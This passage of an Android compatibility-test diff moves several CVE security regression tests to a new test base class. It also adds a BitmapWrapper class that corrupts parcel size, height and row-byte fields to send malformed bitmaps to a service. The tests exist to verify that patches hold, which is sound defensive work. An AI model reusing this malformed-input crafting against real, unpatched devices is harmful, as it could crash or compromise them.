+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ VISUALIZER_CMD_CAPTURE,
+ new byte[0] /* command */, captureBuf /* reply */);
+ Log.d(TAG, "capture returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
+ } finally {
+ if (audioEffect != null) {
+ audioEffect.release();
+ }
+ if (audioTrack != null) {
+ audioTrack.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a90c5..f441c7808f3 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
*
@@ -33,8 +38,9 @@ public class BigRleTest extends AndroidTestCase {
* we attempted to allocate space for all the encoded data at once, resulting in OOM.
*/
@AsbSecurityTest(cveBugId = 33251605)
+ @Test
public void test_android_bug_33251605() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
}
}
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b6712..aa7a3607ed0 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@ import java.io.InputStream;
import java.io.InputStreamReader;
import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import android.platform.test.annotations.AsbSecurityTest;
import java.util.ArrayList;
@@ -53,9 +53,14 @@ import android.os.IBinder;
import android.system.ErrnoException;
import android.widget.TextView;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import java.io.File;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
class Exchange extends IBinderExchange.Stub {
IBinder binder;
BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@ class ExploitThread extends Thread {
public native void runxpl(String pipedir);
}
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
static final String TAG = BinderExploitTest.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@ public class BinderExploitTest extends AndroidTestCase {
* b/141496757
*/
@AsbSecurityTest(cveBugId = 133758011)
+ @Test
public void testPoc_cve_2019_2213() throws Exception {
Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110b629..9b9ea1f98c5 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@ package android.security.cts;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
import android.security.cts.R;
import java.io.BufferedInputStream;
import java.io.InputStream;
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
/*
* This test case reproduces the bug in CVE-2015-1532.
* It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@ public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
* npTc chunk.
*/
@AsbSecurityTest(cveBugId = 19151999)
+ @Test
public void testNinePatchHeapOverflow() throws Exception {
- InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1532));
BitmapFactory.decodeStream(inStream);
}
@AsbSecurityTest(cveBugId = 36724453)
+ @Test
public void testPocCVE_2017_0691() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2017_0691));
BitmapFactory.decodeStream(exploitImage);
}
@AsbSecurityTest(cveBugId = 65290323)
+ @Test
public void test_b65290323() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.b65290323));
BitmapFactory.decodeStream(exploitImage);
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686459b..c77b7dd2f60 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
+import android.content.Context;
import android.graphics.BitmapFactory;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileDescriptor;
@@ -27,13 +32,16 @@ import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
private FileDescriptor getResource(int resId) {
try {
- InputStream is = mContext.getResources().openRawResource(resId);
+ InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
assertNotNull(is);
File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
file.deleteOnExit();
@@ -58,6 +66,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
* Verifies that decoding a corrupt ICO does crash.
*/
@AsbSecurityTest(cveBugId = 38116746)
+ @Test
public void test_android_bug_38116746() {
FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
@@ -74,6 +83,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
* Verifies that decoding a corrupt BMP does crash.
*/
@AsbSecurityTest(cveBugId = 37627194)
+ @Test
public void test_android_bug_37627194() {
FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
try {
@@ -84,6 +94,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 156261521)
+ @Test
public void test_android_bug_156261521() {
// Previously decoding this would crash.
FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 00000000000..c532e05e906
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+ private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+ @Override
+ public int getAllocationSize(BitmapWrapper wrapper) {
+ return wrapper.getBitmap().getAllocationByteCount();
+ }
+
+ @Override
+ public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+ return true;
+ }
+
+
+ @Override
+ public boolean ping() {
+ return true;
+ }
+ };
+
+ @Nullable
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb1398e97..5ce81fd9d95 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
package android.security.cts;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
@RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+ private Instrumentation mInstrumentation;
+ private PeerConnection mRemoteConnection;
+ private IBitmapService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<IBitmapService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IBitmapService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBitmapService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @After
+ public void tearDown() {
+ if (mRemoteConnection != null) {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ mRemote = null;
+ mRemoteConnection = null;
+ }
+ }
+
+ IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+ if (mRemote == null) {
+ final Context context = mInstrumentation.getContext();
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.security.cts", "android.security.cts.BitmapService"));
+ mRemoteConnection = new PeerConnection();
+ context.bindService(intent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+ return mRemote;
+ }
+
/**
* Test Bitmap.createBitmap properly throws OOME on large inputs.
*
@@ -39,4 +112,102 @@ public class BitmapTest {
// which might be passed to createBitmap from a Java decoder.
Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_inplace_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 500KiB; larger than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the blob size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_ashmem_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+ .createAshmemBitmap());
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to be larger than the initial size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be smaller
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 100);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 00000000000..dbcf4989354
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+ enum Field {
+ DataSize,
+ Height,
+ RowBytes,
+ }
+
+ private final Bitmap mBitmap;
+ private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+ public BitmapWrapper(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ private BitmapWrapper(Parcel in) {
+ mBitmap = Bitmap.CREATOR.createFromParcel(in);
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public BitmapWrapper reset() {
+ mReplaceFields.clear();
+ return this;
+ }
+
+ public BitmapWrapper replace(Field field, int newValue) {
+ mReplaceFields.put(field, newValue);
+ return this;
+ }
+
+ @Override
+ public int describeContents() {
+ return mBitmap.describeContents();
+ }
+
+ @Override
+ public void writeToParcel(@NonNull Parcel dest, int flags) {
+ final int before = dest.dataPosition();
+ mBitmap.writeToParcel(dest, flags);
+ final int oldEnd = dest.dataPosition();
+ if (!mReplaceFields.isEmpty()) {
+ dest.setDataPosition(before
+ + 4 /* immutable */
+ + 4 /* colortype */
+ + 4 /* alpha type */);
+ // Skip sizeof colorspace
+ int colorSpaceLen = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+ Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+ Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.Height)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.Height));
+ }
+ Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.RowBytes)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.RowBytes));
+ }
+ Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+ int type = dest.readInt();
+ if (type == 0) { // in-place
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ int newEnd = dest.dataPosition() + dataSize;
+ dest.setDataSize(newEnd);
+ dest.setDataPosition(newEnd);
+ } else {
+ int skip = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + skip);
+ }
+ } else if (type == 1) { // ashmem
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ }
+ dest.setDataPosition(oldEnd);
+ } else {
+ Assert.fail("Unknown type " + type);
+ }
+ }
+ }
+
+ public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+ new Parcelable.Creator<BitmapWrapper>() {
+ public BitmapWrapper createFromParcel(Parcel in) {
+ return new BitmapWrapper(in);
+ }
+
+ public BitmapWrapper[] newArray(int size) {
+ return new BitmapWrapper[size];
+ }
+ };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 48107032a21..a15ab42133f 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@ import org.junit.Test;
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
/**
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testAcceptIntent() {
genericIntentTest("ACCEPT");
}
@@ -35,6 +40,7 @@ public class BluetoothIntentsTest extends AndroidTestCase {
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testDeclineIntent() {
genericIntentTest("DECLINE");
}
@@ -47,7 +53,7 @@ public class BluetoothIntentsTest extends AndroidTestCase {
new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
should_be_protected_broadcast.setAction(prefix + action);
- mContext.sendBroadcast(should_be_protected_broadcast);
+ getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9ebafc..f85ec3fdbb4 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,7 +37,7 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
private static final String TAG = "CVE_2020_0294";
/**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c409152..14cb7cea700 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
private final Context mContext = InstrumentationRegistry.getContext();
boolean isVulnerable = true;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba9567..44bbc01fdce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@ import android.test.AndroidTestCase;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a4234fa..98b8de8d637 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@ import android.test.AndroidTestCase;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,7 +41,7 @@ import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
static final String TAG = CVE_2021_0339.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 00000000000..130dce5435b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+ private byte[] idData;
+ private String nameHost = null;
+ private int namePort = -1;
+ private Hashtable table;
+ private boolean invalidateDone = false;
+ private Certificate[] certs = null;
+ private javax.security.cert.X509Certificate[] xCerts = null;
+
+ public CVE_2021_0341_SSLSession(Certificate[] xc)
+ throws CertificateEncodingException, CertificateException {
+ certs = xc;
+ xCerts = new javax.security.cert.X509Certificate[xc.length];
+ int i = 0;
+ for (Certificate cert : xc) {
+ xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+ }
+ }
+
+ public int getApplicationBufferSize() {
+ return 1234567;
+ }
+
+ public String getCipherSuite() {
+ return "SuiteName";
+ }
+
+ public long getCreationTime() {
+ return 1000L;
+ }
+
+ public byte[] getId() {
+ return idData;
+ }
+
+ public long getLastAccessedTime() {
+ return 2000L;
+ }
+
+ public Certificate[] getLocalCertificates() {
+ return null;
+ }
+
+ public Principal getLocalPrincipal() {
+ return null;
+ }
+
+ public int getPacketBufferSize() {
+ return 12345;
+ }
+
+ public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (certs == null));
+ return certs;
+ }
+
+ public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+ throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (xCerts == null));
+ return xCerts;
+ }
+
+ public String getPeerHost() {
+ return nameHost;
+ }
+
+ public int getPeerPort() {
+ return namePort;
+ }
+
+ public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+ return null;
+ }
+
+ public String getProtocol() {
+ return "ProtocolName";
+ }
+
+ public SSLSessionContext getSessionContext() {
+ return null;
+ }
+
+ public void putValue(String s, Object obj) {
+ assumeFalse("arguments can not be null", (s == null || obj == null));
+ Object obj1 = table.put(s, obj);
+ if (obj1 instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+ }
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+ }
+ }
+
+ public void removeValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ Object obj = table.remove(s);
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+ }
+ }
+
+ public Object getValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ return table.get(s);
+ }
+
+ public String[] getValueNames() {
+ Vector vector = new Vector();
+ Enumeration enumeration = table.keys();
+ while (enumeration.hasMoreElements()) {
+ vector.addElement(enumeration.nextElement());
+ }
+ String as[] = new String[vector.size()];
+ vector.copyInto(as);
+ return as;
+ }
+
+ public void invalidate() {
+ invalidateDone = true;
+ }
+
+ public boolean isValid() {
+ return invalidateDone;
+ }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+ public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
